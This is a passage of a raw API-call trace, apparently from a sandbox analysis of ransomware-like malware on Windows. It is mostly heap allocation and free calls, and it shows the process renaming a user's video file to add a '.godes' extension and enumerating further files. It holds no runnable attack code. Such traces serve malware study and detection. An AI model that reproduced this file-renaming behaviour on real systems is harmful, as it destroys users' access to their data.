RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.639] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.639] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.639] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.639] CloseHandle (hObject=0x624) returned 1 [0113.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d540 [0113.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d540 | out: hHeap=0x660000) returned 1 [0113.640] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_6jk0hB.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_6jk0hb.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_6jk0hB.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_6jk0hb.avi.godes")) returned 1 [0113.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.642] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.642] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61a06350, ftCreationTime.dwHighDateTime=0x1d4d071, ftLastAccessTime.dwLowDateTime=0x305f47e0, ftLastAccessTime.dwHighDateTime=0x1d4cfe8, ftLastWriteTime.dwLowDateTime=0x305f47e0, ftLastWriteTime.dwHighDateTime=0x1d4cfe8, nFileSizeHigh=0x0, nFileSizeLow=0x16cbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_6jk0hB.avi", cAlternateFileName="")) returned 0 [0113.643] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0113.643] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e078 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201a0 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e128 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e180 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33203a8 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320410 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dcb0 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320478 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dfc8 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33204e0 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326df70 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326df18 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320548 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dec0 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33205b0 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de68 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daa0 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320208 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0113.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.643] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.645] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.645] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.645] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.645] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.649] HeapFree (in: 